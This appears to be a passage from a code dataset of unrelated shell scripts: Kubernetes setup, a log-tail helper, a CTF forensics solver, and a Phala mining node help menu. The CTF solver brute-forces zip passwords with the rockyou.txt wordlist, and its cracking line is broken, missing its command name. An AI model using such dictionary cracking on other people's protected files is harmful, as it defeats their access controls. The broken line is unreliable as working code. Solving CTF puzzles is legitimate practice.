expected to have a STATUS of NotReady at this point !!!!!!!!!!!!!!!!!!!!!!!!!!!!\" \nkubectl get nodes\necho \" \"\necho \" \"\necho \" \"\necho \" \"\necho \"net.bridge.bridge-nf-call-iptables=1\" | sudo tee -a /etc/sysctl.conf\nsudo sysctl -p"} {"text": "#!/bin/bash\n\n## atail\n## Description: runs [tail -f] for /var/log/supervisor files\n## Usage: atail [FILENAME]\n##\nexec tail -f \"/var/log/supervisor/${1}\"*"} {"text": "Forensics/The_Boring_Company/ZIPArchiveMatryoshka_Solver_with_fcrackzip.sh\n#!/bin/bash\n\ncd tmp/\nfilename=$(ls)\n#rm -r tmp2/\nmkdir tmp2/\ncp $filename tmp2/\ncd tmp2/\nfilename=$(ls)\nwhile [ 1 ]\ndo\n\tfile $filename\n\tfile $filename | grep \"bzip2\"\n\tif [ \"$?\" -eq 0 ]\n\tthen\n\t\tmv $filename $filename.bz2\n\t\tbunzip2 $filename.bz2 > /dev/null\n\t\tfilename=$(ls)\n\tfi\n\n\tfile $filename | grep \"Zip\"\n\tif [ \"$?\" -eq 0 ]\n\tthen\n\t\tmv $filename $filename.zip\n\t\tpassword=\"$( -D -u -p ../../rockyou.txt $filename.zip | tr -d '\\n' | cut -d \"=\" -f3 | tr -d ' ')\"\n\t\techo \"Found password: \\`${password}\\`\"\n\t\tunzip -q -P \"${password}\" $filename.zip\n\t\trm $filename.zip > /dev/null 2>&1\n\t\tfilename=$(ls)\t\n\tfi\n\n\tfile $filename | grep \"gzip\"\n\tif [ \"$?\" -eq 0 ]\n\tthen\n\t\tmv $filename $filename.gz\n\t\tgunzip $filename.gz > /dev/null\n\t\tfilename=$(ls)\n\tfi\n\n\tfile $filename | grep \"ASCII\"\n\tif [ \"$?\" -eq 0 ]\n\tthen\n\t\techo \n\t\techo\n\t\techo \"Flag Found!\"\n\t\techo\n\t\tcat $filename\n\t\techo\n\t\techo\n\t\tbreak\n\tfi\ndone"} {"text": "0\n#!/usr/bin/env bash\n\n# source \n. ${phala_scripts_dir}/scripts/utils.sh\n. ${phala_scripts_dir}/scripts/log.sh\n. ${phala_scripts_dir}/scripts/config.sh\n. ${phala_scripts_dir}/scripts/check.sh\n. ${phala_scripts_dir}/scripts/install.sh\n. ${phala_scripts_dir}/scripts/status.sh\n. ${phala_scripts_dir}/scripts/update.sh\n\nfunction phala_scripts_help(){\nphala_scripts_utils_gettext \"Usage:\\n\"\\\n\"\tphala [OPTION]...\\n\"\\\n\"\\n\"\\\n\"Options:\\n\"\\\n\"\thelp\t\t\t\t\tdisplay help information\\n\"\\\n\"\tinstall\t\t\t\t\tinstall your phala node\\n\"\\\n\"\tuninstall\t\t\t\tuninstall your phala scripts\\n\"\\\n\"\tstart\t\t\t\t\tstart mining\\n\"\\\n\"\t\t\\n\"\\\n\"\tstop\t\t\t\t\tstop mining\\n\"\\\n\"\t\t\\n\"\\\n\"\tconfig\\n\"\\\n\"\t\t\t\t\t\tdisplay all configuration of your node\\n\"\\\n\"\t\t\\n\"\\\n\"\tstatus\t\t\t\t\tdisplay the running status of all components\\n\"\\\n\"\tupdate\t\t\t\t\tupdate all containers without cleaning up the data\\n\"\\\n\"\t\t\t\t\t\tupdate all containers, and clean up the data\\n\"\\\n\"\t\t